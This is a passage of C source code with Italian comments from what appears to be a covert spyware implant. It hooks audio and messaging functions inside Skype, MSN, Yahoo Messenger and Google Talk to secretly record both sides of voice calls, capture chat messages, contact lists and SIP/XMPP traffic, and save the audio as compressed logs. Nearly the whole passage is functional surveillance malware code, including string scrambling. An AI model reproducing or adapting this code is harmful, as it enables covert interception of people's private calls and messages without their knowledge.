char *proc_name; // Verifica autonomamente se si tratta del processo voip ZeroMemory(proc_path, sizeof(proc_path)); FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1); proc_name = strrchr(proc_path, '\\'); if (proc_name) { proc_name++; if (stricmp(proc_name, "skype.exe")) return 1; // Hooka solo skype.exe } else return 1; WASAPIGetBufferData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite; WASAPIGetBufferData.pHM_IpcCliRead = pData->pHM_IpcCliRead; WASAPIGetBufferData.obj_ptr = NULL; WASAPIGetBufferData.audio_data = NULL; if (GetWASAPICaptureFunction(&(WASAPIGetBufferData.bAPIAdd), WASAPI_GETBUFFER, NULL, NULL) != S_OK) return 1; WASAPIGetBufferData.dwHookLen = 350; return 0; } DWORD PM_WASAPICaptureGetBufferMSN_setup(HMServiceStruct *pData) { char proc_path[DLLNAMELEN]; char *proc_name; // Verifica autonomamente se si tratta del processo voip ZeroMemory(proc_path, sizeof(proc_path)); FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1); proc_name = strrchr(proc_path, '\\'); if (proc_name) { proc_name++; if (stricmp(proc_name, "msnmsgr.exe") || !IsVista(NULL)) return 1; // Hooka solo MSN } else return 1; WASAPIGetBufferData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite; WASAPIGetBufferData.pHM_IpcCliRead = pData->pHM_IpcCliRead; WASAPIGetBufferData.obj_ptr = NULL; WASAPIGetBufferData.obj_ptr2 = NULL; WASAPIGetBufferData.audio_data = NULL; WASAPIGetBufferData.audio_data2 = NULL; if (GetWASAPICaptureFunction(&(WASAPIGetBufferData.bAPIAdd), WASAPI_GETBUFFER, NULL, NULL) != S_OK) return 1; WASAPIGetBufferData.dwHookLen = 550; return 0; } HRESULT __stdcall PM_WASAPICaptureReleaseBuffer(BYTE *class_ptr, DWORD NumFramesWrittem) { BOOL *Active; MARK_HOOK INIT_WRAPPER(WASAPIReleaseBufferStruct) // Controlla se il monitor e' attivo Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT); if (Active && (*Active)) { // Solo se e' una Release sull'ultimo oggetto su cui ha fatto la GetBuffer if (pData->c_data->obj_ptr==class_ptr && NumFramesWrittem>0 && pData->pHM_IpcCliWrite) { if (pData->sampling != 0) { pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)&(pData->sampling), 4, FLAGS_SAMPLING | FLAGS_INPUT, IPC_HI_PRIORITY); pData->sampling = 0; } LARGE_CLI_WRITE(pData->c_data->audio_data, NumFramesWrittem*SKYPE_WASAPI_BITS*pData->n_channels, ((pData->n_channels)<<30) | (pData->prog_type<<24) | FLAGS_INPUT, IPC_LOW_PRIORITY); pData->c_data->obj_ptr = NULL; } } CALL_ORIGINAL_API(2); return ret_code; } HRESULT __stdcall PM_WASAPICaptureReleaseBufferMSN(BYTE *class_ptr, DWORD NumFramesWrittem) { BOOL *Active; MARK_HOOK INIT_WRAPPER(WASAPIReleaseBufferStruct) // Controlla se il monitor e' attivo Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT); if (Active && (*Active)) { // Solo se e' una Release sull'ultimo oggetto su cui ha fatto la GetBuffer if (pData->c_data->obj_ptr2==class_ptr && NumFramesWrittem>0 && pData->pHM_IpcCliWrite) { if (pData->sampling2 != NumFramesWrittem*100) { pData->sampling2 = NumFramesWrittem*100; pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)&(pData->sampling2), 4, FLAGS_SAMPLING | FLAGS_OUTPUT, IPC_HI_PRIORITY); } LARGE_CLI_WRITE(pData->c_data->audio_data2, NumFramesWrittem*MSN_WASAPI_BITS*pData->n_channels, ((pData->n_channels)<<30) | (pData->prog_type<<24) | FLAGS_OUTPUT, IPC_LOW_PRIORITY); } if (pData->c_data->obj_ptr==class_ptr && NumFramesWrittem>0 && pData->pHM_IpcCliWrite) { if (pData->sampling != NumFramesWrittem*100) { pData->sampling = NumFramesWrittem*100; pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)&(pData->sampling), 4, FLAGS_SAMPLING | FLAGS_INPUT, IPC_HI_PRIORITY); } LARGE_CLI_WRITE(pData->c_data->audio_data, NumFramesWrittem*MSN_WASAPI_BITS*pData->n_channels, ((pData->n_channels)<<30) | (pData->prog_type<<24) | FLAGS_INPUT, IPC_LOW_PRIORITY); } } CALL_ORIGINAL_API(2); return ret_code; } DWORD PM_WASAPICaptureReleaseBuffer_setup(HMServiceStruct *pData) { char proc_path[DLLNAMELEN]; char *proc_name; // Verifica autonomamente se si tratta del processo voip ZeroMemory(proc_path, sizeof(proc_path)); FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1); proc_name = strrchr(proc_path, '\\'); if (proc_name) { proc_name++; if (stricmp(proc_name, "skype.exe")) return 1; // Hooka solo skype.exe } else return 1; WASAPIReleaseBufferData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite; WASAPIReleaseBufferData.pHM_IpcCliRead = pData->pHM_IpcCliRead; WASAPIReleaseBufferData.c_data = (WASAPIGetBufferStruct *)pData->PARAM[0]; WASAPIReleaseBufferData.prog_type = VOIP_SKWSA; if (GetWASAPICaptureFunction(&(WASAPIReleaseBufferData.bAPIAdd), WASAPI_RELEASEBUFFER, &(WASAPIReleaseBufferData.n_channels), &(WASAPIReleaseBufferData.sampling)) != S_OK) return 1; WASAPIReleaseBufferData.dwHookLen = 700; return 0; } DWORD PM_WASAPICaptureReleaseBufferMSN_setup(HMServiceStruct *pData) { char proc_path[DLLNAMELEN]; char *proc_name; // Verifica autonomamente se si tratta del processo voip ZeroMemory(proc_path, sizeof(proc_path)); FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1); proc_name = strrchr(proc_path, '\\'); if (proc_name) { proc_name++; if (stricmp(proc_name, "msnmsgr.exe") || !IsVista(NULL)) return 1; // Hooka solo MSN } else return 1; WASAPIReleaseBufferData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite; WASAPIReleaseBufferData.pHM_IpcCliRead = pData->pHM_IpcCliRead; WASAPIReleaseBufferData.c_data = (WASAPIGetBufferStruct *)pData->PARAM[0]; WASAPIReleaseBufferData.prog_type = VOIP_MSNWS; WASAPIReleaseBufferData.sampling = NULL; WASAPIReleaseBufferData.sampling2 = NULL; if (GetWASAPICaptureFunction(&(WASAPIReleaseBufferData.bAPIAdd), WASAPI_RELEASEBUFFER, &(WASAPIReleaseBufferData.n_channels), NULL) != S_OK) return 1; WASAPIReleaseBufferData.dwHookLen = 700; return 0; } /////////////////////////// // // waveOutWrite // /////////////////////////// typedef struct { COMMONDATA; DWORD prog_type; waveOutGetID_t pwaveOutGetID; } waveOutWriteStruct; waveOutWriteStruct waveOutWriteData; DWORD __stdcall PM_waveOutWrite(HWAVEOUT ARG1, WAVEHDR *WaveHdr, DWORD ARG3) { UINT devID; BOOL *Active; DWORD channels = 1; MARK_HOOK INIT_WRAPPER(waveOutWriteStruct) CALL_ORIGINAL_API(3) // Se e' andato storto, ritorna if(!((DWORD)pData->pHM_IpcCliWrite) || ret_code!=MMSYSERR_NOERROR) return ret_code; // Controlla se il monitor e' attivo Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT); if (!Active || !(*Active)) return ret_code; pData->pwaveOutGetID(ARG1, &devID); if (pData->prog_type == VOIP_SKYPE) channels = 2; // Non registra le scritture sul wave mapper if (devID!=0xFFFFFFFF) // Invia tutto al dispatcher LARGE_CLI_WRITE((BYTE *)WaveHdr->lpData, WaveHdr->dwBufferLength, (channels<<30) | (pData->prog_type<<24) | FLAGS_OUTPUT, IPC_LOW_PRIORITY); return ret_code; } DWORD PM_waveOutWrite_setup(HMServiceStruct *pData) { char proc_path[DLLNAMELEN]; char *proc_name; HMODULE hMod; // Verifica autonomamente se si tratta del processo voip ZeroMemory(proc_path, sizeof(proc_path)); FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1); proc_name = strrchr(proc_path, '\\'); if (proc_name) { proc_name++; if (stricmp(proc_name, "skype.exe") && stricmp(proc_name, "yahoomessenger.exe") && stricmp(proc_name, "googletalk.exe")) return 1; // Hooka solo skype, yahoo, gtalk } else return 1; if (!stricmp(proc_name, "skype.exe")) waveOutWriteData.prog_type = VOIP_SKYPE; else if (!stricmp(proc_name, "yahoomessenger.exe")) waveOutWriteData.prog_type = VOIP_YAHOO; else if (!stricmp(proc_name, "googletalk.exe")) waveOutWriteData.prog_type = VOIP_GTALK; else waveOutWriteData.prog_type = 0; VALIDPTR(hMod = LoadLibrary("winmm.DLL")) VALIDPTR(waveOutWriteData.pwaveOutGetID = (waveOutGetID_t) HM_SafeGetProcAddress(hMod, "waveOutGetID")) waveOutWriteData.pHM_IpcCliRead = pData->pHM_IpcCliRead; waveOutWriteData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite; waveOutWriteData.dwHookLen = 750; return 0; } /////////////////////////// // // waveInUnprepareHeader // /////////////////////////// typedef struct { COMMONDATA; DWORD prog_type; waveInGetID_t pwaveInGetID; } waveInUnprepareHeaderStruct; waveInUnprepareHeaderStruct waveInUnprepareHeaderData; DWORD __stdcall PM_waveInUnprepareHeader(HWAVEOUT ARG1, WAVEHDR *WaveHdr, DWORD ARG3) { UINT devID; BOOL *Active; DWORD channels = 1; MARK_HOOK INIT_WRAPPER(waveInUnprepareHeaderStruct) CALL_ORIGINAL_API(3) // Se e' andato storto, ritorna if(!((DWORD)pData->pHM_IpcCliWrite) || ret_code!=MMSYSERR_NOERROR) return ret_code; // Controlla se il monitor e' attivo Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT); if (!Active || !(*Active)) return ret_code; pData->pwaveInGetID(ARG1, &devID); if (pData->prog_type == VOIP_SKYPE) channels = 2; // Non registra le scritture sul wave mapper if (devID!=0xFFFFFFFF) // Invia tutto al dispatcher LARGE_CLI_WRITE((BYTE *)WaveHdr->lpData, WaveHdr->dwBufferLength, (channels<<30) | (pData->prog_type<<24) | FLAGS_INPUT, IPC_LOW_PRIORITY); return ret_code; } DWORD PM_waveInUnprepareHeader_setup(HMServiceStruct *pData) { char proc_path[DLLNAMELEN]; char *proc_name; HMODULE hMod; // Verifica autonomamente se si tratta del processo voip ZeroMemory(proc_path, sizeof(proc_path)); FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1); proc_name = strrchr(proc_path, '\\'); if (proc_name) { proc_name++; if (stricmp(proc_name, "skype.exe") && stricmp(proc_name, "yahoomessenger.exe") && stricmp(proc_name, "googletalk.exe")) return 1; // Hooka solo skype, yahoo, gtalk } else return 1; if (!stricmp(proc_name, "skype.exe")) waveInUnprepareHeaderData.prog_type = VOIP_SKYPE; else if (!stricmp(proc_name, "yahoomessenger.exe")) waveInUnprepareHeaderData.prog_type = VOIP_YAHOO; else if (!stricmp(proc_name, "googletalk.exe")) waveInUnprepareHeaderData.prog_type = VOIP_GTALK; else waveInUnprepareHeaderData.prog_type = 0; VALIDPTR(hMod = LoadLibrary("winmm.DLL")) VALIDPTR(waveInUnprepareHeaderData.pwaveInGetID = (waveInGetID_t) HM_SafeGetProcAddress(hMod, "waveInGetID")) waveInUnprepareHeaderData.pHM_IpcCliRead = pData->pHM_IpcCliRead; waveInUnprepareHeaderData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite; waveInUnprepareHeaderData.dwHookLen = 750; return 0; } /////////////////////////// // // SendMessageTimeOut // /////////////////////////// // Server per Skype typedef struct { COMMONDATA; BOOL voip_is_sent; HWND voip_skapi_wnd; HWND voip_skapi_swd; BOOL im_is_sent; HWND im_skapi_wnd; HWND im_skapi_swd; BOOL cn_is_sent; HWND cn_skapi_wnd; HWND cn_skapi_swd; BOOL is_skypepm; BOOL is_spm_installed; UINT attach_msg; } SendMessageStruct; SendMessageStruct SendMessageData; LRESULT __stdcall PM_SendMessage( HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam, UINT fuFlags, UINT uTimeout, PDWORD_PTR lpdwResult) { BOOL *Active_VOIP, *Active_IM, *Active_Contacts; BYTE *msg_body; COPYDATASTRUCT *cdata; MARK_HOOK INIT_WRAPPER(SendMessageStruct) CALL_ORIGINAL_API(7) // Controlla se il monitor e' attivo Active_VOIP = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT); Active_IM = (BOOL *)pData->pHM_IpcCliRead(PM_IMAGENT_SKYPE); Active_Contacts = (BOOL *)pData->pHM_IpcCliRead(PM_CONTACTSAGENT); if (!Active_VOIP || !Active_IM || !Active_Contacts) return ret_code; // Se sono disabilitati entrambi esce if (!(*Active_VOIP) && !(*Active_IM) && !(*Active_Contacts)) return ret_code; if (!pData->pHM_IpcCliWrite) return ret_code; // Skype ha dato l'ok per l'attach. Notifico i processi per poter mandare i messaggi delle api if (!pData->is_spm_installed && !pData->is_skypepm && Msg==pData->attach_msg && wParam!=NULL) { if ((*Active_VOIP)) { if (pData->voip_skapi_swd != hWnd || pData->voip_skapi_wnd != (HWND)wParam) { pData->voip_skapi_swd = hWnd; pData->voip_skapi_wnd = (HWND)wParam; pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)(&pData->voip_skapi_wnd), sizeof(DWORD), FLAGS_SKAPI_WND, IPC_HI_PRIORITY); pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)(&pData->voip_skapi_swd), sizeof(DWORD), FLAGS_SKAPI_SWD, IPC_HI_PRIORITY); } } if ((*Active_IM)) { if (pData->im_skapi_swd != hWnd || pData->im_skapi_wnd != (HWND)wParam) { pData->im_skapi_swd = hWnd; pData->im_skapi_wnd = (HWND)wParam; pData->pHM_IpcCliWrite(PM_IMAGENT, (BYTE *)(&pData->im_skapi_wnd), sizeof(DWORD), FLAGS_SKAPI_WND, IPC_HI_PRIORITY); pData->pHM_IpcCliWrite(PM_IMAGENT, (BYTE *)(&pData->im_skapi_swd), sizeof(DWORD), FLAGS_SKAPI_SWD, IPC_HI_PRIORITY); } } if ((*Active_Contacts)) { if (pData->cn_skapi_swd != hWnd || pData->cn_skapi_wnd != (HWND)wParam) { pData->cn_skapi_swd = hWnd; pData->cn_skapi_wnd = (HWND)wParam; pData->pHM_IpcCliWrite(PM_CONTACTSAGENT, (BYTE *)(&pData->cn_skapi_wnd), sizeof(DWORD), FLAGS_SKAPI_WND, IPC_HI_PRIORITY); pData->pHM_IpcCliWrite(PM_CONTACTSAGENT, (BYTE *)(&pData->cn_skapi_swd), sizeof(DWORD), FLAGS_SKAPI_SWD, IPC_HI_PRIORITY); } } } if (Msg != WM_COPYDATA) return ret_code; cdata = (COPYDATASTRUCT *)lParam; msg_body = (BYTE *)cdata->lpData; if (pData->is_skypepm) { if ((*Active_VOIP)) { if (pData->voip_skapi_wnd != hWnd || pData->voip_skapi_swd != (HWND)wParam) { pData->voip_skapi_wnd = hWnd; pData->voip_skapi_swd = (HWND)wParam; pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)(&hWnd), sizeof(DWORD), FLAGS_SKAPI_WND, IPC_HI_PRIORITY); pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)(&wParam), sizeof(DWORD), FLAGS_SKAPI_SWD, IPC_HI_PRIORITY); } } if ((*Active_IM)) { if (pData->im_skapi_wnd != hWnd || pData->im_skapi_swd != (HWND)wParam) { pData->im_skapi_wnd = hWnd; pData->im_skapi_swd = (HWND)wParam; // Usa la dispatch del tag utilizzato per start/stop dell'agente pData->pHM_IpcCliWrite(PM_IMAGENT, (BYTE *)(&hWnd), sizeof(DWORD), FLAGS_SKAPI_WND, IPC_HI_PRIORITY); pData->pHM_IpcCliWrite(PM_IMAGENT, (BYTE *)(&wParam), sizeof(DWORD), FLAGS_SKAPI_SWD, IPC_HI_PRIORITY); } } if ((*Active_Contacts)) { if (pData->cn_skapi_wnd != hWnd || pData->cn_skapi_swd != (HWND)wParam) { pData->cn_skapi_wnd = hWnd; pData->cn_skapi_swd = (HWND)wParam; // Usa la dispatch del tag utilizzato per start/stop dell'agente pData->pHM_IpcCliWrite(PM_CONTACTSAGENT, (BYTE *)(&hWnd), sizeof(DWORD), FLAGS_SKAPI_WND, IPC_HI_PRIORITY); pData->pHM_IpcCliWrite(PM_CONTACTSAGENT, (BYTE *)(&wParam), sizeof(DWORD), FLAGS_SKAPI_SWD, IPC_HI_PRIORITY); } } } else { // siamo dentro Skype if ((*Active_VOIP)) { if (!pData->voip_is_sent) { pData->voip_is_sent = TRUE; pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)(&ret_code), sizeof(DWORD), FLAGS_SKAPI_INI, IPC_HI_PRIORITY); } } if ((*Active_IM)) { if (!pData->im_is_sent) { pData->im_is_sent = TRUE; pData->pHM_IpcCliWrite(PM_IMAGENT, (BYTE *)(&ret_code), sizeof(DWORD), FLAGS_SKAPI_INI, IPC_HI_PRIORITY); } } if (cdata->cbData <= 4) return ret_code; // Scremiamo i messaggi che sicuramente non ci servono // CALL , #1411... ci servono if ((*Active_VOIP)) { if ( (msg_body[0]=='C' && msg_body[1]=='A' && msg_body[2]=='L' && msg_body[3]=='L') || (msg_body[1]=='1' && msg_body[2]=='4' && msg_body[3]=='1' && msg_body[4]=='1')) pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)cdata->lpData, cdata->cbData, FLAGS_SKAPI_MSG, IPC_HI_PRIORITY); } if ((*Active_IM)) { if ( (msg_body[0]=='C' && msg_body[1]=='H' && msg_body[2]=='A' && msg_body[3]=='T') || (msg_body[0]=='M' && msg_body[1]=='E' && msg_body[2]=='S' && msg_body[3]=='S') || (msg_body[1]=='I' && msg_body[2]=='M' && msg_body[3]=='A' && msg_body[4]=='G')) pData->pHM_IpcCliWrite(PM_IMAGENT, (BYTE *)cdata->lpData, cdata->cbData, FLAGS_SKAPI_MSG, IPC_HI_PRIORITY); } if ((*Active_Contacts)) { DWORD data_len; data_len = cdata->cbData; // Se eccedesse, il messaggio non verrebbe mandato proprio if (data_len > MAX_MSG_LEN) data_len = MAX_MSG_LEN; if ( (msg_body[0]=='A' && msg_body[1]=='U' && msg_body[4]=='_' && msg_body[5]=='C') || (msg_body[0]=='C' && msg_body[1]=='U' && msg_body[2]=='R' && msg_body[3]=='R')) pData->pHM_IpcCliWrite(PM_CONTACTSAGENT, (BYTE *)cdata->lpData, data_len, FLAGS_SKAPI_MSG, IPC_HI_PRIORITY); } } return ret_code; } DWORD PM_SendMessage_setup(HMServiceStruct *pData) { char proc_path[DLLNAMELEN]; char *proc_name; // Verifica autonomamente se si tratta del processo skype ZeroMemory(proc_path, sizeof(proc_path)); FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1); proc_name = strrchr(proc_path, '\\'); if (proc_name) { proc_name++; SendMessageData.is_skypepm = FALSE; if (!stricmp(proc_name, "skypepm.exe")) { SendMessageData.is_skypepm = TRUE; // siamo in skypepm } else if (stricmp(proc_name, "skype.exe")) return 1; // Se non siamo in skype non mette l'hook sulla sendmessage } else return 1; if (IsSkypePMInstalled()) SendMessageData.is_spm_installed = TRUE; else SendMessageData.is_spm_installed = FALSE; SendMessageData.pHM_IpcCliRead = pData->pHM_IpcCliRead; SendMessageData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite; SendMessageData.voip_is_sent = FALSE; SendMessageData.voip_skapi_wnd = 0; SendMessageData.voip_skapi_swd = 0; SendMessageData.im_is_sent = FALSE; SendMessageData.im_skapi_wnd = 0; SendMessageData.im_skapi_swd = 0; SendMessageData.cn_is_sent = FALSE; SendMessageData.cn_skapi_wnd = 0; SendMessageData.cn_skapi_swd = 0; SendMessageData.attach_msg = RegisterWindowMessage("SkypeControlAPIAttach"); SendMessageData.dwHookLen = 2650; return 0; } /////////////////////////// // // Recv e Send // /////////////////////////// // Server per Yahoo Messenger typedef struct { COMMONDATA; } RecvStruct; RecvStruct RecvData; int __stdcall PM_Recv(SOCKET s, char *buf, int len, int flags) { BOOL *Active; DWORD msg_len; MARK_HOOK INIT_WRAPPER(RecvStruct) CALL_ORIGINAL_API(4) // Controlla il valore di ritorno if (!ret_code || ret_code==SOCKET_ERROR || buf==NULL) return ret_code; // Controlla se il monitor e' attivo Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT); if (!Active || !(*Active)) return ret_code; msg_len = ret_code; if (msg_len>15 && buf[0]=='S' && buf[1]=='I' && buf[2]=='P' && buf[3]=='/') // Il messaggio ricevuto sulla socket potrebbe essere piu' lungo di 1KB pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)(buf), (msg_len>MAX_MSG_LEN)?MAX_MSG_LEN:msg_len, FLAGS_YMSG_IN, IPC_HI_PRIORITY); else if (msg_len>15 && buf[0]=='<' && buf[1]=='i' && buf[2]=='q' && buf[3]==' ') // Il messaggio ricevuto sulla socket potrebbe essere piu' lungo di 1KB pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)(buf), (msg_len>MAX_MSG_LEN)?MAX_MSG_LEN:msg_len, FLAGS_GTALK_IN, IPC_HI_PRIORITY); return ret_code; } int __stdcall PM_Send(SOCKET s, char *buf, int len, int flags) { BOOL *Active; DWORD msg_len; MARK_HOOK INIT_WRAPPER(RecvStruct) CALL_ORIGINAL_API(4) // Controlla il valore di ritorno if (!ret_code || ret_code==SOCKET_ERROR || buf==NULL) return ret_code; // Controlla se il monitor e' attivo Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT); if (!Active || !(*Active)) return ret_code; msg_len = ret_code; if (msg_len>15 && buf[0]=='S' && buf[1]=='I' && buf[2]=='P' && buf[3]=='/') // Il messaggio ricevuto sulla socket potrebbe essere piu' lungo di 1KB pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)(buf), (msg_len>MAX_MSG_LEN)?MAX_MSG_LEN:msg_len, FLAGS_YMSG_OUT, IPC_HI_PRIORITY); else if (msg_len>15 && buf[0]=='<' && buf[1]=='i' && buf[2]=='q' && buf[3]==' ') // Il messaggio ricevuto sulla socket potrebbe essere piu' lungo di 1KB pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)(buf), (msg_len>MAX_MSG_LEN)?MAX_MSG_LEN:msg_len, FLAGS_GTALK_OUT, IPC_HI_PRIORITY); else if(msg_len > 7 && buf[0]=='U' && buf[1]=='U' && buf[2]=='N' && buf[3]==' ') pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)(buf), (msg_len>MAX_MSG_LEN)?MAX_MSG_LEN:msg_len, FLAGS_MSN_OUT, IPC_HI_PRIORITY); return ret_code; } DWORD PM_Recv_setup(HMServiceStruct *pData) { char proc_path[DLLNAMELEN]; char *proc_name; HMODULE hMod; // Verifica autonomamente se si tratta di un programma da hookare ZeroMemory(proc_path, sizeof(proc_path)); FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1); proc_name = strrchr(proc_path, '\\'); if (proc_name) { proc_name++; if (stricmp(proc_name, "YahooMessenger.exe") && stricmp(proc_name, "Googletalk.exe") && stricmp(proc_name, "msnmsgr.exe")) return 1; // Hooka solo YahooMessenger, GTalk e MSN } else{ return 1; } RecvData.pHM_IpcCliRead = pData->pHM_IpcCliRead; RecvData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite; RecvData.dwHookLen = 850; return 0; } /////////////////////////// // // WSARecv // /////////////////////////// // Server per Yahoo Messenger typedef struct _WSABUF { ULONG len; /* the length of the buffer */ __field_bcount(len) CHAR FAR *buf; /* the pointer to the buffer */ } WSABUF, FAR * LPWSABUF; typedef struct _OVERLAPPED * LPWSAOVERLAPPED; typedef void (WINAPI *LPWSAOVERLAPPED_COMPLETION_ROUTINE)(DWORD, DWORD, LPWSAOVERLAPPED, DWORD); typedef struct { COMMONDATA; } WSARecvStruct; WSARecvStruct WSARecvData; int FAR PASCAL PM_WSARecv(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine) { BOOL *Active; char *buf; DWORD msg_len; MARK_HOOK INIT_WRAPPER(WSARecvStruct) CALL_ORIGINAL_API(7) // Controlla il valore di ritorno if (ret_code!=0) return ret_code; // Controlla se il monitor e' attivo Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT); if (!Active || !(*Active)) return ret_code; if(lpNumberOfBytesRecvd) { msg_len = *lpNumberOfBytesRecvd; buf = lpBuffers[0].buf; if (msg_len>15 && buf[0]=='S' && buf[1]=='I' && buf[2]=='P' && buf[3]=='/') pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)(buf), (msg_len>MAX_MSG_LEN)?MAX_MSG_LEN:msg_len, FLAGS_YMSG_IN, IPC_HI_PRIORITY); } return ret_code; } DWORD PM_WSARecv_setup(HMServiceStruct *pData) { char proc_path[DLLNAMELEN]; char *proc_name; // Verifica autonomamente se si tratta di un programma da hookare ZeroMemory(proc_path, sizeof(proc_path)); FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1); proc_name = strrchr(proc_path, '\\'); if (proc_name) { proc_name++; if (stricmp(proc_name, "YahooMessenger.exe")) return 1; // Hooka solo YahooMessenger } else{ return 1; } WSARecvData.pHM_IpcCliRead = pData->pHM_IpcCliRead; WSARecvData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite; WSARecvData.dwHookLen = 900; return 0; } // Inserisce un campione nell'array (i campioni arrivano gia' ordinati dalla coda IPC) BOOL InsertList(BYTE *channel_array, BYTE *sample, DWORD sample_len, DWORD offset) { // Inserisce solo messaggi contenenti dati if (sample_len==0 || !channel_array) return FALSE; memcpy(channel_array + offset, sample, sample_len); return TRUE; } // Salva la lista come file encodato #define SPEEX_FREE {rel_speex_encoder_destroy(state); rel_speex_bits_destroy(&bits);} void SaveEncode(BYTE *source, DWORD total_size, DWORD channels, pVoiceAdditionalData additional_data, DWORD additional_len) { #define MODE_UWB 2 DWORD SAMPLE_SIZE = 2; short *bit_sample; float *bit_sample_float; void *state; float *input; BYTE *to_write; BYTE *source_ptr; BYTE *cbits; SpeexBits bits; DWORD frame_size = 0; DWORD i, nbBytes; DWORD complexity = 1; HANDLE hf; // Crea un nuovo encoder in wide mode*/ state = rel_speex_encoder_init(rel_speex_lib_get_mode(MODE_UWB)); rel_speex_encoder_ctl(state, SPEEX_SET_QUALITY, &compress_factor); rel_speex_encoder_ctl(state, SPEEX_SET_COMPLEXITY, &complexity); rel_speex_bits_init(&bits); rel_speex_encoder_ctl(state, SPEEX_GET_FRAME_SIZE, &frame_size); // Allochiamo un buffer per tutta la sequenza di campioni if (!frame_size) { SPEEX_FREE; return; } // Allochiamo il buffer di output grande quanto quello originale (per sicurezza) if (!(to_write = (BYTE *)malloc(frame_size*SAMPLE_SIZE + sizeof(DWORD)))) { SPEEX_FREE; return; } cbits = to_write + sizeof(DWORD); // Punta al blocco dati, mentre la prima DWORD conterra' la dimensione // Allochiamo il buffer di elaborazione if (!(input = (float *)malloc(frame_size*sizeof(float)))) { SAFE_FREE(to_write); SPEEX_FREE; return; } // XXX Fix per scalare a 16KHz l'output di MSN che e' a 48KHz if (additional_data->uProgramType == VOIP_MSMSG+0x140 && additional_data->uChannel == OUTPUT_ELEM) channels *= 3; if (additional_data->uProgramType == VOIP_MSNWS+0x140) SAMPLE_SIZE = 4; hf = Log_CreateFile(PM_VOIPRECORDAGENT, (BYTE *)additional_data, additional_len); // Continua finche' dopo source_ptr non rimane ancora spazio per un frame intero for (source_ptr=source; source_ptr+(frame_size*SAMPLE_SIZE*channels)<=source+total_size; source_ptr+=(frame_size*SAMPLE_SIZE*channels)) { // Copiamo i campioni a 16 bit dentro dei float bit_sample = (short *)source_ptr; bit_sample_float = (float *)source_ptr; // MSN Wasapi usa la codifica float if (additional_data->uProgramType == VOIP_MSNWS+0x140) { for (i=0; i (frame_size*SAMPLE_SIZE)) continue; // Check paranoico // Copia la lunghezza nei primi 4 byte per fare un unica scrittura su file memcpy(to_write, &nbBytes, sizeof(DWORD)); Log_WriteFile(hf, to_write, nbBytes+sizeof(DWORD)); } Log_CloseFile(hf); SAFE_FREE(to_write); SAFE_FREE(input); SPEEX_FREE; } // Salva la lista come wav void SaveWav(BYTE *channel_array, DWORD size, DWORD channels, pVoiceAdditionalData additional_data, DWORD additional_len) { static BOOL first_save = TRUE; ScrambleString ss1("_ yPUvU8WUAUPC 8diUE gEilg......QM\r\n\r\n", is_demo_version); // "- Initializing audio codec......OK\r\n\r\n" ScrambleString ss2("_ yPUvU8WUAUPC 8diUE gEilg......L99Q9\r\n\r\n", is_demo_version); // "- Initializing audio codec......ERROR\r\n\r\n" // Verifica che l'array sia stato allocato if (!channel_array) return; // Solo a scopi di DEMO if (first_save) { first_save = FALSE; if (codec_handle) REPORT_STATUS_LOG(ss1.get_str()); else REPORT_STATUS_LOG(ss2.get_str()); } // Se abbimo la DLL del codec, salva in modo compresso if (codec_handle) { SaveEncode(channel_array, size, channels, additional_data, additional_len); return; } } // Carica (se risce) la DLL del codec e risolve tutti i simboli utilizzati #define RESOLVE_ERROR { FreeLibrary(hcodec); return NULL; } HMODULE ResolveCodecSymbols(char *name) { HMODULE hcodec; if ( !(hcodec = LoadLibrary(name))) return NULL; if (! (rel_speex_encoder_init = (speex_encoder_init_t)GetProcAddress(hcodec, "speex_encoder_init")) ) RESOLVE_ERROR; if (! (rel_speex_encoder_ctl = 